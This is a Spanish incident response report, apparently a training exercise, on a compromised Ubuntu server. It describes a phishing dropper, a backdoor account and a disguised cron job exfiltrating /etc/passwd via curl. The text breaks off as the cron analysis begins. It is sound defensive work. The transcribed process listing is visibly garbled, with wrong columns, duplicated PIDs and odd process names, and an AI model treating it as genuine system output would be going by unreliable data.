

INFORME DE RESPUESTA A INCIDENTE

Live Incident Response — Servidor Comprometido 4geeks-server

Organización: 4Geeks Academy

Activo afectado: 4geeks-server (192.168.0.133) — Ubuntu 20.04.6 LTS

Clasificación: Confidencial — Uso interno

Rol: Analista de Ciberseguridad / Respuesta a Incidentes

Fecha de cierre del informe: 18 de junio de 2026

Tabla de Contenidos

Tabla de Contenidos	2
1. Resumen Ejecutivo	4
1.1 Hallazgos clave	5
2. Introducción, Alcance y Metodología.....	6
2.1 Restricciones del enfoque Live Incident Response.....	6
2.2 Estructura del informe.....	6
3. Cronología Consolidada del Incidente.....	7
4. Fase 1 — Reconocimiento y Recolección de Evidencias	9
4.1 Triage inicial: conexión de Comando y Control activa.....	9
4.2 Inventario de procesos en ejecución.....	10
4.3 Análisis de tareas programadas (cron)	12
4.4 Localización del artefacto de exfiltración.....	14
4.5 Confirmación en syslog de la ejecución recurrente del cron malicioso.....	14
4.6 Contenido del script de exfiltración	16
4.7 Verificación del contenido exfiltrado.....	16
4.8 Auditorías negativas iniciales de integridad	17
4.9 Descubrimiento de cuentas locales no autorizadas	18
4.10 Estado de credenciales y llaves SSH de las cuentas sospechosas	19
4.11 Artefactos en los directorios home comprometidos.....	20
4.12 Historial de sesiones y marcas de tiempo de creación.....	21
4.13 Cronología confirmada de creación de cuentas	22
4.14 Cadena del dropper: contenido de install.sh	22
4.15 Credenciales en texto plano como facilitador del acceso inicial	23
4.16 Ingeniería social y log de cobertura fabricado.....	23
4.17 Verificación de rutas de escalada de privilegios vía sudo y grupos.....	24
4.18 Verificación de exfiltración adicional y estabilidad del kernel	26
4.19 Barrido exhaustivo de rootkit y mecanismos de persistencia adicionales.....	26
4.19.1 Logs de servicios expuestos y archivos web	26
4.19.2 Capacidades de archivos (alternativa a SUID)	27
4.19.3 Módulos de kernel cargados y mecanismos LD_PRELOAD.....	27
4.19.4 Integridad de paquetes del sistema.....	28
4.19.5 Timers de systemd	28
4.19.6 Tareas "at" y directorios de scripts de sistema	29
4.19.7 Archivos de inicio de shell de las cuentas comprometidas	29
4.20 Verificación de logs históricos rotados de Apache	35

4.21 Confirmación final: la cuenta "hacker" nunca fue utilizada	35
4.22 Conexiones de red en vivo	35
4.23 Arquitectura del agente Wazuh y limitación de la correlación SIEM	36
5. Vulnerabilidades Identificadas.....	37
6. Mapeo a MITRE ATT&CK	38
7. Fase 2 — Contención, Erradicación y Recuperación	39
7.1 Contención inmediata: eliminación del cron malicioso y su script	39
7.2 Corrección de la shell de la cuenta de servicio www-data	39
7.3 Evaluación y decisión sobre el servicio FTP expuesto.....	39
7.4 Preservación de evidencia forense	40
7.5 Eliminación de las cuentas backdoor "reports" y "hacker".....	40
7.6 Destrucción segura del archivo de credenciales en texto plano	41
7.7 Deshabilitación del servicio FTP innecesario	41
8. Verificación Final de Integridad del Sistema.....	42
8.1 Resumen de verificaciones de integridad realizadas	42
8.2 Reglas de firewall y NAT	42
9. Recomendaciones de Fortalecimiento y Conclusiones	46
9.1 Recomendaciones de fortalecimiento	46
9.2 Limitaciones de la investigación	47
9.3 Conclusiones	47

1. Resumen Ejecutivo

El equipo de ciberseguridad de 4Geeks Academy fue activado tras detectarse comportamiento anómalo en el servidor interno 4geeks-server (192.168.0.133), un host Ubuntu 20.04.6 LTS que expone los servicios Apache2 (puerto 80), vsftpd (puerto 21) y SSH (puerto 22), y que aloja además un agente Wazuh HIDS. Dado que el servidor forma parte de un sistema considerado crítico en producción, el análisis se realizó íntegramente bajo un enfoque de Live Incident Response — inspección directa sobre el sistema activo, sin apagado ni extracción forense del disco — priorizando la disponibilidad del servicio sobre la captura forense tradicional.

La investigación reconstruyó una cadena de ataque completa: un correo de ingeniería social convenció al titular de la cuenta local "reports" de ejecutar un script descargado de un host en la red local (192.168.1.100), aprovechando que esa misma cuenta tenía sus credenciales almacenadas en texto plano en `/opt/archive/credentials.txt`. El script (`install.sh`) descargó y ejecutó un binario de segunda etapa que, operando bajo una cuenta sin privilegios en un kernel Ubuntu 20.04 fuera de soporte (5.4.0-216, sin parches ESM activos), realizó de forma encadenada: la creación de una cuenta de puerta trasera ("hacker", UID 1002), la modificación de la shell de `www-data`, y la instalación de una tarea cron disfrazada de mantenimiento de sistema que exfiltró `/etc/passwd` hacia el mismo host atacante cada 15 minutos durante aproximadamente un año sin ser detectada.

Se confirmó la exfiltración real de `/etc/passwd` (verificada con el archivo `/tmp/secrets.tgz` aún presente en disco) y se descartó, mediante búsqueda exhaustiva en todo el sistema de archivos, que la mención a una exfiltración de `/etc/shadow` en un log fabricado por el atacante (`backup.log`) haya ocurrido realmente. No se hallaron rootkits, módulos de kernel maliciosos, binarios de sistema alterados, reglas de firewall modificadas, ni mecanismos de persistencia adicionales más allá de los ya descritos, tras un barrido exhaustivo de superficies de persistencia conocidas (SUID, capacidades, LD_PRELOAD, timers de systemd, tareas at, dpkg -V, iptables/UFW/nftables, etc.).

Se aplicaron acciones inmediatas de contención (eliminación del cron malicioso, su script y el archivo exfiltrado; corrección de la shell de `www-data`) seguidas de erradicación completa: preservación forense y eliminación de las cuentas "reports" y "hacker", destrucción segura del archivo de credenciales en texto plano, y deshabilitación del servicio FTP expuesto innecesariamente. El sistema fue verificado como íntegro al cierre de esta investigación, con todas las auditorías de persistencia y configuración devolviendo resultados negativos.

El mecanismo exacto de escalada de privilegios de la cuenta sin privilegios "reports" a root no pudo confirmarse de forma directa, ya que el binario de segunda etapa ("payload") ya no estaba presente en el sistema al momento de la investigación. Por eliminación de todas las demás rutas posibles (sin sudo, sin grupos privilegiados, sin sudoers personalizado, sin binarios SUID añadidos), se atribuye con alta confianza a la explotación de una vulnerabilidad del kernel EOL, aunque no se identificó el CVE específico. Esta laguna se documenta explícitamente como limitación de la investigación.

1.1 Hallazgos clave

- Vector de acceso inicial: ingeniería social (phishing dirigido) combinado con almacenamiento inseguro de credenciales en texto plano.
- Cadena de ataque de dos etapas (dropper + payload) ejecutada desde una cuenta local sin privilegios elevados.
- Escalada de privilegios a root no confirmada directamente; atribuida por eliminación a explotación de kernel EOL.
- Persistencia mediante tarea cron enmascarada (/etc/cron.d/sys-maintenance) activa durante $\approx$ 1 año sin detección.
- Cuenta de puerta trasera ("hacker") creada pero nunca utilizada — backdoor "armado" sin estrenar.
- Exfiltración confirmada de /etc/passwd; exfiltración de /etc/shadow descrita en log fue fabricada, no ocurrió realmente.
- Sin evidencia de rootkit, módulos de kernel maliciosos, binarios troyanizados, ni reglas de firewall modificadas.
- Remediación completa aplicada y verificada; servicio FTP innecesario deshabilitado como medida de fortalecimiento adicional.

2. Introducción, Alcance y Metodología

Este informe documenta la investigación de respuesta a incidente realizada sobre el servidor "4geeks-server" (IP 192.168.0.133), una máquina virtual VirtualBox que ejecuta Ubuntu 20.04.6 LTS (kernel 5.4.0-216-generic, rama fuera de soporte estándar y sin parches ESM activos al momento de la investigación). El host expone los servicios Apache2 (puerto 80/TCP), vsftpd (puerto 21/TCP) y OpenSSH (puerto 22/TCP), y tiene instalado un agente Wazuh HIDS (wazuh-execd, wazuh-agentd, wazuh-syscheckd, wazuh-logcollector, wazuh-modulesd) que reporta a un manager externo no accesible desde este host.

El acceso del analista se realizó mediante sesión SSH legítima de la cuenta "sysadmin" desde una estación Kali Linux (192.168.0.147), confirmada como acceso conocido y descartada como vector de compromiso.

2.1 Restricciones del enfoque Live Incident Response

Dado que el servidor forma parte de un sistema considerado crítico en producción, no fue posible apagarlo ni extraer su disco para un análisis forense tradicional (post-mortem). En consecuencia, toda la investigación se realizó mediante inspección directa sobre el sistema en ejecución, bajo las siguientes premisas:

- La disponibilidad del servicio tuvo prioridad sobre la captura forense exhaustiva.
- No hubo ventana para un apagado controlado ni para clonar el disco bit a bit.
- El objetivo operativo fue contener la amenaza con rapidez, documentar hallazgos de forma justificada, y restaurar la postura de seguridad del sistema sin interrumpir el servicio.
- Como consecuencia directa de este enfoque, ciertas fuentes de evidencia volátil (el binario de segunda etapa del payload, posibles artefactos en memoria RAM) ya no estaban disponibles para análisis al momento de iniciar la investigación, lo cual se documenta explícitamente como limitación en la sección de hallazgos correspondiente.

2.2 Estructura del informe

El documento sigue la estructura de fases solicitada para este ejercicio: la Sección 4 documenta la Fase 1 (Reconocimiento y recolección de evidencias), agrupada por tema de investigación con todas las capturas de pantalla que respaldan cada hallazgo; la Sección 5 consolida las vulnerabilidades identificadas; la Sección 6 presenta el mapeo completo a MITRE ATT&CK; la Sección 7 documenta la Fase 2 (remediación, contención, erradicación y recuperación) con su evidencia correspondiente; la Sección 8 presenta la verificación final de integridad; y la Sección 9 cierra con las recomendaciones de fortalecimiento y conclusiones.

3. Cronología Consolidada del Incidente

La siguiente cronología fue reconstruida combinando múltiples fuentes: `/var/log/auth.log` y su rotación (`.1`), `journalctl (_COMM=useradd)`, `/var/log/syslog`, marcas de tiempo de archivos (`stat`, `ls --time-style`), y el contenido de `/etc/shadow` (`chage -l`). Todas las marcas de tiempo se expresan en UTC, que coincide con la hora local configurada en el host.

Fecha / Hora (UTC)	Evento	Fuente
2025-06-21 19:04:11	Aprovisionamiento del servidor. Se crea la cuenta "sysadmin" (UID 1000) y se añade a los grupos adm, cdrom, sudo, dip, plugdev, lxd.	auth.log / journalctl
2025-06-21 19:04:20	Se crea el usuario de servicio "lxd" (UID 998, shell /bin/false).	auth.log / journalctl
2025-06-21 19:46:45	Se crea el usuario de servicio "ftp" (UID 114, vsftpd, from=none, automatizado).	auth.log / journalctl
2025-06-21 19:54:52	Se crea la cuenta "reports" (UID 1001, shell /bin/bash) desde /dev/tty1 (consola local, no SSH).	auth.log / journalctl
[Reboot]	Reinicio del sistema registrado entre la creación de "reports" y la instalación del agente Wazuh.	journalctl
2025-06-23 13:18:32	Se instala y registra el agente Wazuh (UID 115, from=/dev/pts/0, sesión SSH legítima).	auth.log / journalctl
[Reboot]	Segundo reinicio registrado antes de la sesión comprometida.	journalctl
2025-06-23 ≈ 14:07	Recepción del correo de ingeniería social (chat.txt) instando a ejecutar un script "limpio".	Contenido de chat.txt
2025-06-23 14:07:53	Inicio de sesión interactiva de "reports" en consola local (tty1). Única sesión real registrada para esta cuenta.	lastlog / last / wtmp
2025-06-23 14:07–14:40	Sesión activa del atacante operando como "reports": lectura de credentials.txt, descarga y ejecución de install.sh, edición manual de backup.log.	bash_history de reports
2025-06-23 14:40:35	mtime de /home/reports actualizado (artefactos instalados/modificados).	stat /home/reports
2025-06-23 ≈ 14:50:28	Reinicio del sistema, ≈10 min después de finalizar la ejecución de install.sh.	kern.log.1 (boot log)
2025-06-23 15:02:47	Creación del grupo y usuario "hacker" (UID 1002, GID 1002, shell /bin/bash) desde /dev/tty1, por el payload de segunda etapa.	auth.log / journalctl / stat
2025-06-23 15:02:47	mtime de /etc/passwd actualizado — coincide exactamente con la creación de "hacker" (cambio de shell de www-data y siembra de cuentas en el mismo evento).	stat /etc/passwd
2025-06-23 ≈ 15:02	Plantado de /etc/cron.d/sys-maintenance (fecha anómala respecto a archivos vecinos de Feb 2020 / Mar 2023).	ls -la /etc/cron.d/
2025-06-23 ≈ 15:23:17	Reinicio del sistema, ≈20 min después de la creación de "hacker".	kern.log.1 (boot log)

Fecha / Hora (UTC)	Evento	Fuente
2025-06-23 15:03:53	mtime de /etc/shadow actualizado (fijación de contraseña para la nueva cuenta "hacker").	stat /etc/shadow
2025-06-23 ≈ 16:40:13	Cuarto reinicio del día registrado en kern.log.1.	kern.log.1 (boot log)
2025-06-23 en adelante, cada 15 min	Ejecución recurrente del cron malicioso, exfiltrando /etc/passwd hacia 192.168.1.100:8080.	syslog (CRON[xxxx])
2026-06-10 – 2026- 06-18	Ventana de la investigación de respuesta a incidente documentada en este informe (≈ 1 año de dwell time no detectado).	Esta investigación

Los cuatro reinicios registrados el mismo día (12:55, 14:50, 15:23 y 16:40 UTC del 23 de junio de 2025) bracketean exactamente la ventana de instalación de la persistencia. Ninguno de los registros de arranque revisados (kern.log.1, dmesg en el momento de la investigación) mostró mensajes de panic, oops o segfault, por lo que se interpretan como reinicios controlados (p. ej. shutdown -r o reboot ejecutados por el propio payload o por quien operaba la consola), no como caídas provocadas por un exploit inestable.

4. Fase 1 — Reconocimiento y Recolección de Evidencias

Esta sección documenta, en orden lógico de investigación, todos los hallazgos obtenidos mediante inspección directa del sistema en ejecución. Cada hallazgo incluye el comando ejecutado, la captura de pantalla correspondiente como evidencia, y la justificación técnica de su relevancia para el caso.

4.1 Triage inicial: conexión de Comando y Control activa

El primer comando ejecutado al iniciar la investigación fue un volcado de las conexiones de red activas, con el objetivo de detectar comunicación en curso con infraestructura externa antes de que cualquier acción de contención pudiera alterar el estado del sistema.

```
root@4geeks-server:~# netstat -tupnaw
```

```
root@4geeks-server:~# netstat -tupnaw
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.53:53          0.0.0.0:*               LISTEN      691/systemd-resolve
tcp        0      0 0.0.0.0:22            0.0.0.0:*               LISTEN      781/sshd: /usr/sbin
tcp        0      1 192.168.0.133:60834    192.168.1.100:8080     SYN_SENT    2020/curl
tcp6       0      0 :::80                 :::*                   LISTEN      832/apache2
tcp6       0      0 :::21                 :::*                   LISTEN      761/vsftpd
tcp6       0      0 :::22                 :::*                   LISTEN      781/sshd: /usr/sbin
udp        0      0 127.0.0.53:53          0.0.0.0:*               691/systemd-resolve
udp        0      0 192.168.0.133:68      0.0.0.0:*               689/systemd-network
raw6       0      0 :::58                 :::*                   7          689/systemd-network
root@4geeks-server:~# _
```

Figura 1. Conexión activa en estado SYN_SENT desde 192.168.0.133:60834 hacia 192.168.1.100:8080, asociada al proceso PID 2020/curl. Esta es la huella inicial que confirmó actividad de Comando y Control (C2) en curso al momento del triage, además de revelar que apache2, vsftpd y sshd estaban expuestos.

Esta captura es la pieza de evidencia más temprana del caso: confirma que, al momento del triage, existía un intento activo de comunicación saliente hacia el host 192.168.1.100 en el puerto 8080, iniciado por el binario curl. Aunque la conexión quedó en SYN_SENT (sin completarse en ese instante), su sola presencia evidencia un mecanismo de exfiltración o C2 en ejecución periódica, lo cual guió el resto de la investigación hacia la búsqueda de un disparador programado (cron).

```

(kali@kali)~$ ssh sysadmin@192.168.0.133
The authenticity of host '192.168.0.133 (192.168.0.133)' can't be established.
ED25519 key fingerprint is: SHA256:BYGzRbrKXNK7R+Q041gItP31/MudIVhYAD+R0LcHebQ
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.0.133' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
sysadmin@192.168.0.133's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Tue 09 Jun 2026 02:43:40 AM UTC

System load:  0.0          Processes:    133
Usage of /:   39.7% of 14.6GB  Users logged in: 1
Memory usage: 7%            IPv6 address for enp0s3: 192.168.0.133
Swap usage:   0%

 * Ubuntu 20.04 LTS Focal Fossa has reached its end of standard support
   on 31 May 2025.

For more details see:
https://ubuntu.com/20-04

 * Introducing Expanded Security Maintenance for Applications.
   Receive updates to over 25,000 software packages with your
   Ubuntu Pro subscription. Free for personal use.

https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Sat Jun  6 02:14:29 2026
sysadmin@4geeks-server:~$ clear

```

Figura 2. Sesión SSH legítima del analista (cuenta "sysadmin") desde la estación Kali del equipo de respuesta, con último inicio de sesión registrado el 6 de junio de 2026. Confirma que el acceso de administración utilizado durante la investigación es legítimo y descarta esta cuenta como vector de compromiso.

```

sysadmin@4geeks-server:~$ sudo su
[sudo] password for sysadmin:
root@4geeks-server:/home/sysadmin# netstat -tupnaw
Active Internet connections (servers and established)

```

Proto	Recv-Q	Send-Q	Local Address	Foreign Address	State	PID/Program name
tcp	0	0	127.0.0.53:53	0.0.0.0:*	LISTEN	691/systemd-resolve
tcp	0	0	0.0.0.0:22	0.0.0.0:*	LISTEN	781/sshd: /usr/sbin
tcp	0	92	192.168.0.133:22	192.168.0.147:37092	ESTABLISHED	4813/sshd: sysadmin
tcp6	0	0	:::80	:::*	LISTEN	832/apache2
tcp6	0	0	:::21	:::*	LISTEN	761/vsftpd
tcp6	0	0	:::22	:::*	LISTEN	781/sshd: /usr/sbin
udp	0	0	127.0.0.53:53	0.0.0.0:*		691/systemd-resolve
udp	0	0	192.168.0.133:68	0.0.0.0:*		689/systemd-network
raw6	0	0	:::58	:::*	7	689/systemd-network

```

root@4geeks-server:/home/sysadmin#

```

Figura 3. Elevación de privilegios del analista (sudo su) y segunda verificación de netstat en una sesión posterior, mostrando únicamente la conexión SSH ESTABLISHED legítima del propio analista (192.168.0.147) — la conexión SYN_SENT hacia el C2 ya no aparece, consistente con un intento de conexión periódico que expira entre ejecuciones del cron.

4.2 Inventario de procesos en ejecución

Se ejecutó un volcado completo del árbol de procesos para descartar procesos maliciosos en ejecución activa y confirmar el inventario de servicios legítimos.

```
root@4geeks-server:~# ps auxf
```

```
root@4geeks-server:/home/sysadmin# ps auxf
USER      PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         2  0.0  0.0      0     0 ?        S      Jun10    0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        I<     Jun10    0:00 \_ [rcu_gp]
root         4  0.0  0.0      0     0 ?        I<     Jun10    0:00 \_ [rcu_par_gp]
root         6  0.0  0.0      0     0 ?        I<     Jun10    0:00 \_ [kworker/0:0H-kblockd]
root         8  0.0  0.0      0     0 ?        I<     Jun10    0:00 \_ [mm_percpu_wq]
root         9  0.0  0.0      0     0 ?        S      Jun10    0:00 \_ [ksoftirqd/0]
root        10  0.1  0.0      0     0 ?        I      Jun10    0:12 \_ [rcu_sched]
root        11  0.0  0.0      0     0 ?        S      Jun10    0:00 \_ [migration/0]
root        12  0.0  0.0      0     0 ?        S      Jun10    0:00 \_ [idle_inject/0]
root        14  0.0  0.0      0     0 ?        S      Jun10    0:00 \_ [cpuhp/0]
root        15  0.0  0.0      0     0 ?        S      Jun10    0:00 \_ [cpuhp/1]
root        16  0.0  0.0      0     0 ?        S      Jun10    0:00 \_ [idle_inject/1]
root        17  0.0  0.0      0     0 ?        S      Jun10    0:00 \_ [migration/1]
root        18  0.0  0.0      0     0 ?        S      Jun10    0:00 \_ [ksoftirqd/1]
root        20  0.0  0.0      0     0 ?        I<     Jun10    0:00 \_ [kworker/1:0H-kblockd]
root        21  0.0  0.0      0     0 ?        S      Jun10    0:00 \_ [kdevtmpfs]
root        22  0.0  0.0      0     0 ?        I<     Jun10    0:00 \_ [netns]
root        23  0.0  0.0      0     0 ?        S      Jun10    0:00 \_ [rcu_tasks_kthre]
root        24  0.0  0.0      0     0 ?        S      Jun10    0:00 \_ [kauditd]
root        25  0.0  0.0      0     0 ?        S      Jun10    0:00 \_ [khungtaskd]
root        26  0.0  0.0      0     0 ?        S      Jun10    0:00 \_ [oom_reaper]
root        27  0.0  0.0      0     0 ?        I<     Jun10    0:00 \_ [writeback]
root        28  0.0  0.0      0     0 ?        S      Jun10    0:00 \_ [kcompactd0]
root        29  0.0  0.0      0     0 ?        SN     Jun10    0:00 \_ [ksmd]
root        30  0.0  0.0      0     0 ?        SN     Jun10    0:00 \_ [khugepaged]
root        77  0.0  0.0      0     0 ?        I<     Jun10    0:00 \_ [kintegrityd]
root        78  0.0  0.0      0     0 ?        I<     Jun10    0:00 \_ [kblockd]
root        79  0.0  0.0      0     0 ?        I<     Jun10    0:00 \_ [blkcg_punt_bio]
root        80  0.0  0.0      0     0 ?        I<     Jun10    0:00 \_ [tpm_dev_wq]
root        81  0.0  0.0      0     0 ?        I<     Jun10    0:00 \_ [ata_sff]
root        82  0.0  0.0      0     0 ?        I<     Jun10    0:00 \_ [md]
root        83  0.0  0.0      0     0 ?        I<     Jun10    0:00 \_ [edac-poller]
root        84  0.0  0.0      0     0 ?        I<     Jun10    0:00 \_ [devfreq_wq]
root        85  0.0  0.0      0     0 ?        S      Jun10    0:00 \_ [watchdogd]
root        89  0.0  0.0      0     0 ?        S      Jun10    0:00 \_ [kswapd0]
root        90  0.0  0.0      0     0 ?        S      Jun10    0:00 \_ [ecryptfs-kthrea]
root        92  0.0  0.0      0     0 ?        I<     Jun10    0:00 \_ [kthrotld]
root        93  0.0  0.0      0     0 ?        I<     Jun10    0:00 \_ [acpi_thermal_pm]
root        94  0.0  0.0      0     0 ?        S      Jun10    0:00 \_ [scsi_eh_0]
root        95  0.0  0.0      0     0 ?        I<     Jun10    0:00 \_ [scsi_tmf_0]
root        96  0.0  0.0      0     0 ?        S      Jun10    0:00 \_ [scsi_eh_1]
root        97  0.0  0.0      0     0 ?        I<     Jun10    0:00 \_ [scsi_tmf_1]
root        99  0.0  0.0      0     0 ?        I<     Jun10    0:00 \_ [vfio-irqfd-clea]
root       102  0.0  0.0      0     0 ?        I<     Jun10    0:01 \_ [kworker/0:1H-kblockd]
root       103  0.0  0.0      0     0 ?        I<     Jun10    0:00 \_ [ipv6_addrconf]
root       112  0.0  0.0      0     0 ?        I<     Jun10    0:00 \_ [kstrp]
root       116  0.0  0.0      0     0 ?        I<     Jun10    0:01 \_ [kworker/1:1H-kblockd]
```

Figura 4. Listado de hilos del kernel (kthreadd y derivados), todos con START "Jun10", consistente con el arranque del sistema. No se observan procesos con nombres ofuscados o rutas de ejecución sospechosas en esta sección.

```

root 117 0.0 0.0 0 0 7 1s Jun10 0:00 \ [kworker/u5:0]
root 130 0.0 0.0 0 0 7 1s Jun10 0:00 \ [charger_manager]
root 107 0.0 0.0 0 0 7 1s Jun10 0:00 \ [cryptd]
root 100 0.0 0.0 0 0 7 1s Jun10 0:00 \ [scsi_ek_2]
root 192 0.0 0.0 0 0 7 1s Jun10 0:00 \ [local.vmf.2]
root 210 0.0 0.0 0 0 7 1s Jun10 0:00 \ [irq/10-vmxglx]
root 220 0.0 0.0 0 0 7 1s Jun10 0:00 \ [ttm_dma]
root 240 0.0 0.0 0 0 7 1s Jun10 0:00 \ [raid5mg]
root 292 0.0 0.0 0 0 7 1s Jun10 0:01 \ [jbd2/sda2-0]
root 293 0.0 0.0 0 0 7 1s Jun10 0:00 \ [ext4-rsv-conver]
root 303 0.0 0.0 2488 376 7 0 Jun10 0:00 \ [optfilter_uah]
root 407 0.0 0.0 0 0 7 1s Jun10 0:00 \ [iprt-VBoxQueue]
root 5153 0.0 0.0 0 0 7 1s Jun10 0:00 \ [kworker/u6:0-events_ahound]
root 523 0.0 0.0 0 0 7 1s Jun10 0:00 \ [kmpath_rdacd]
root 524 0.0 0.0 0 0 7 1s Jun10 0:00 \ [kmpathd]
root 525 0.0 0.0 0 0 7 1s Jun10 0:00 \ [kmpath_handlerd]
root 530 0.0 0.0 0 0 7 5s Jun10 0:00 \ [logd]
root 537 0.0 0.0 0 0 7 5s Jun10 0:00 \ [logd1]
root 538 0.0 0.0 0 0 7 5s Jun10 0:00 \ [logd2]
root 2237 0.0 0.0 0 0 7 1s Jun10 0:00 \ [kworker/1:0-events]
root 5153 0.0 0.0 0 0 7 1s Jun10 0:00 \ [kworker/u6:0-events_ahound]
root 5174 0.0 0.0 0 0 7 1s Jun10 0:00 \ [kworker/0:1-events]
root 5431 0.1 0.0 0 0 7 1s Jun10 0:01 \ [kworker/0:1-events]
root 5919 0.0 0.0 0 0 7 1s Jun10 0:00 \ [kworker/u6:0-events_power_efficient]
root 6051 0.1 0.0 0 0 7 1s Jun10 0:01 \ [kworker/1:2-events]
root 6075 0.0 0.0 0 0 7 1s Jun10 0:00 \ [kworker/u6:0-events_freeable_power_1]
root 6100 0.0 0.0 0 0 7 1s Jun10 0:00 \ [kworker/u6:1]
root 71 0.0 0.1 171428 1044 7 5s Jun10 0:01 \ [kworker/u6:1]
root 361 0.0 0.1 50530 10252 7 5s Jun10 0:00 \ [lib/systemd/system-journald]
root 480 0.0 0.1 22750 6104 7 5s Jun10 0:00 \ [lib/systemd/system-udev]
root 520 0.0 0.1 280200 10000 7 5s Jun10 0:01 \ [sbin/multipathd -d -x]
systemd 530 0.0 0.1 90000 6000 7 5s Jun10 0:00 \ [lib/systemd/systemd-timesyncd]
systemd 509 0.0 0.1 27204 7030 7 5s Jun10 0:00 \ [lib/systemd/systemd-networkd]
systemd 505 0.0 0.1 25470 15213 7 5s Jun10 0:00 \ [lib/systemd/systemd-resolved]
root 783 0.0 0.1 235578 7315 7 5s Jun10 0:00 \ [usr/lib/AccountsService/accounts-daemon]
root 787 0.0 0.1 70923 2004 7 5s Jun10 0:00 \ [usr/sbin/cron -F]
messages 780 0.0 0.1 7092 4932 7 5s Jun10 0:00 \ [usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only]
root 714 0.0 0.0 81228 3620 7 5s Jun10 0:00 \ [usr/sbin/irqbalance --foreground]
root 715 0.0 0.1 20608 18704 7 5s Jun10 0:00 \ [usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers]
root 716 0.0 0.1 212732 8880 7 5s Jun10 0:00 \ [usr/lib/policykit-1/polkitd --no-debug]
syslog 718 0.0 0.1 224344 5012 7 5s Jun10 0:00 \ [usr/sbin/rsyslogd -n -HOM]
root 721 0.0 0.1 1120052 29312 7 5s Jun10 0:01 \ [usr/lib/udev/udev]
root 730 0.0 0.1 17444 7950 7 5s Jun10 0:00 \ [lib/systemd/systemd-logind]
root 732 0.0 0.1 39320 12300 7 5s Jun10 0:00 \ [usr/lib/udev/udev]
systemd 725 0.0 0.0 3796 2400 7 5s Jun10 0:00 \ [usr/sbin/udev]
root 741 0.0 0.0 6000 3024 7 5s Jun10 0:00 \ [usr/sbin/vsftpd /etc/vsftpd.conf]
root 781 0.0 0.1 12188 7032 7 5s Jun10 0:00 \ [sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups]
root 4813 0.0 0.2 13560 9200 7 5s Jun10 0:00 \ [sshd: sysadmin@r1]
sysadmin 4963 0.0 0.1 14672 6300 7 5s Jun10 0:00 \ [sshd: sysadmin@pts/0]
sysadmin 4944 0.0 0.1 8276 5232 pts/0 5s Jun10 0:00 \ -bash
root 6070 0.0 0.1 9428 5000 pts/0 5s Jun10 0:00 \ sudo su
root 6072 0.0 0.1 8370 4304 pts/0 5s Jun10 0:00 \ su
root 6070 0.0 0.1 7730 4804 pts/0 5s Jun10 0:00 \ bash

```

Figura 5. Continuación del listado: se observa el proceso "iprt-VBoxQueue", que confirma que el host es un invitado VirtualBox; también aparecen vsftpd, sshd y la sesión interactiva legítima de sysadmin (incluyendo la cadena sudo su → su → bash del propio analista).

```

root 8107 0.0 0.0 9040 3336 pts/0 #+ 02:35 0:00 \ ps auxf
root 801 0.0 0.2 241372 11296 7 5s Jun10 0:00 \ [usr/sbin/ModemManager]
root 817 0.0 0.3 207924 20044 7 5s Jun10 0:00 \ [usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal]
root 822 0.0 0.1 8500 5104 7 5s Jun10 0:01 \ [usr/sbin/apache2 -k start]
www-data 5273 0.0 0.1 1211420 4632 7 5s Jun10 0:01 \ [usr/sbin/apache2 -k start]
www-data 5274 0.0 0.1 1211420 4632 7 5s Jun10 0:01 \ [usr/sbin/apache2 -k start]
root 920 0.0 0.0 25000 3704 7 5s Jun10 0:01 \ [var/ossec/bin/wazuh-execd]
wazuh 990 0.0 0.1 173020 7000 7 5s Jun10 0:02 \ [var/ossec/bin/wazuh-agentd]
root 1014 0.0 0.2 124200 8400 7 5s Jun10 0:00 \ [var/ossec/bin/wazuh-syscheckd]
root 1027 0.0 0.2 120880 11432 7 5s Jun10 0:04 \ [var/ossec/bin/wazuh-logcollector]
root 1045 0.0 0.1 335264 17204 7 5s Jun10 0:00 \ [var/ossec/bin/wazuh-modulesd]
root 1595 0.0 0.0 5990 2000 tty1 5s Jun10 0:00 \ [bin/login -s -]
sysadmin 1721 0.0 0.1 8264 5244 tty1 5s Jun10 0:00 \ -bash
sysadmin 1723 0.0 0.2 19052 9644 7 5s Jun10 0:00 \ [lib/systemd/systemd --user]
sysadmin 1726 0.0 0.0 169704 3424 7 5s Jun10 0:00 \ [ls -l]
root 2220 0.0 1.1 476624 43100 7 5s Jun10 0:01 \ [usr/libexec/ftpshd/ftphd]
root 2322 0.0 0.2 240004 9050 7 5s Jun10 0:00 \ [usr/lib/openssh/opensshd]
root@4geeks-server:/home/sysadmin

```

Figura 6. Continuación del listado: se observan los procesos hijo de apache2 bajo el usuario www-data, los cinco daemons del agente Wazuh (wazuh-execd, wazuh-agentd, wazuh-syscheckd, wazuh-logcollector, wazuh-modulesd), y una sesión de "sysadmin" mediante /bin/login en tty1 — este último dato es relevante porque confirma que el acceso por consola local (tty1) es un patrón de uso normal en este entorno, no exclusivo de un atacante, lo cual se retoma en la Sección 4.13.

Ningún proceso de la lista completa de ps auxf correspondió a un binario desconocido en ejecución persistente al momento del triage; el vector de C2 detectado en la Sección 4.1 (curl) era una ejecución puntual y de corta duración disparada por una tarea programada, no un proceso residente.

4.3 Análisis de tareas programadas (cron)

Dado que la conexión C2 detectada se originó en curl y no en un proceso persistente, se investigaron los mecanismos de tareas programadas del sistema como vehículo más probable.

```

root@4geeks-server:~# cat /etc/crontab
root@4geeks-server:~# crontab -l
